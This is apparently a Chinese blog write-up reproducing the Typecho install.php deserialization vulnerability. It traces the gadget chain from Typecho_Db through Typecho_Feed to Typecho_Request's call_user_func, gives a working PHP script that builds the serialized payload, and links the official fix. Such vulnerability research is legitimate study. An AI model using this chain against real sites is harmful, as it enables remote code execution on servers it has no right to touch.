Typecho反序列化漏洞复现


看到这个东东,几年前爆出了前台的反序列化漏洞,抱着新发现的态度去学习一下,虽然啥都没发现

typecho简介

类的自动加载机制

当程序试图创建一个没有导入的对象的时候,程序的自动加载机制,会去找到这个文件并包含进来,看了下和框架有点类似

初始化的时候会调用,spl_autoload_register方法

1605602388469

调用__autoload方法,进行加载

1605602498077

漏洞分析

漏洞触发点

首先看到拉跨的判断是否安装的方式,只需要GET传参中携带finish参数即可,referer头为当前域名或ip时,即可绕过exit判断,进入程序逻辑

1605602718111

全文共存在两处unserialize函数,第一处当存在finish传参时,第二处时存在start传参时,

当存在finish传参时,第二处的判断逻辑是进不去的,漏洞的修复,删除了第一处,第二处存在,但是绕不过去判断安装的逻辑,需要注入或者文件删除漏洞支持,故算是安全了趴。

接下来看第一处的代码

当存在config.inc.phpqie存在__typecho_config参数时即可进入else逻辑

1605603083894

接下来根基cookie的get方法,可以看到参数可控,可以通过post,或者cookie获取,参数名为前缀+__typecho_config

1605603166974

反序列化利用链

程序中不存在__wakeup()方法

并且__destruct()方法均不可利用

跟进Typecho_Db类,在__construct()方法中存在字符串拼接

且$adapterName可控

1605603592607

所以可以查找程序中的__toString()方法

在Feed.php的__toString方法中存在类成员变量的调用

1605603825218

此时可以去找一处__get()方法

Request.php的__get()方法调用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function __get($key)
{
return $this->get($key);
}
...
...
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
...
...
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

可以看到存在array_map和call_user_func方法,且参数两个参数完全可控,到这里已经可以完成命令执行了,且在低版本的php中可以完成代码执行

可以在向下找个新的终点

exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct()
{
$this->_params['screenName'] = 1; // 执行的参数值
$this->_filter[0] = 'phpinfo'; //filter执行的函数
}
}
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_items = array();
private $_type;
function __construct()
{
$this->_type = self::RSS2; //进入toString内部判断条件
$_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
$this->_items[0] = $_item;
}
}
$exp = new Typecho_Feed();
$a = array(
'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
'prefix' =>'typecho_'
);
echo urlencode(base64_encode(serialize($a)));

?>

漏洞修复

官方修复:

https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#




扩展分析

以下终点不可用

全局搜索call_user_func_array

1605604264599

向上分析,可以看到method完全可控,就是就算完全可控还是需要继续向下找终点,因为这个方法只可以调用程序中的类和方法,查找call方法的调用,multiCall方法正好需要一个数组型参数,可以通过前面的array_map调用

1605604697322

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function multiCall($methodcalls)
{
// See http://www.xmlrpc.com/discuss/msgReader$1208
$return = array();
foreach ($methodcalls as $call) {
$method = $call['methodName'];
$params = $call['params'];
if ($method == 'system.multicall') {
$result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
} else {
$result = $this->call($method, $params);
}
if (is_a($result, 'IXR_Error')) {
$return[] = array(
'faultCode' => $result->code,
'faultString' => $result->message
);
} else {
$return[] = array($result);
}
}
return $return;
}

但是但是但是,在Request类的get方法中的判断,让我们无法传入数组参数,GG

1605607665508

或者,HyperDown.php的call方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function call($type, $value)
{
if (empty($this->_hooks[$type])) {
return $value;
}

$args = func_get_args();
$args = array_slice($args, 1);

foreach ($this->_hooks[$type] as $callback) {
$value = call_user_func_array($callback, $args);
$args[0] = $value;
}

return $value;
}

查看调用

选择optimizeBlocks方法

1605608888996

但是参数不可控

1605608955469

1605609033936

1605609096103

再比如,中间节点,Typecho_Validate的run方法,都需要传参为数组,但是前面先知了数组

1605614060383

END

后续想法,可以通过get方法、getarray方法、filter方法以及其他类得call_user_func函数去构造,当然看上去挺麻烦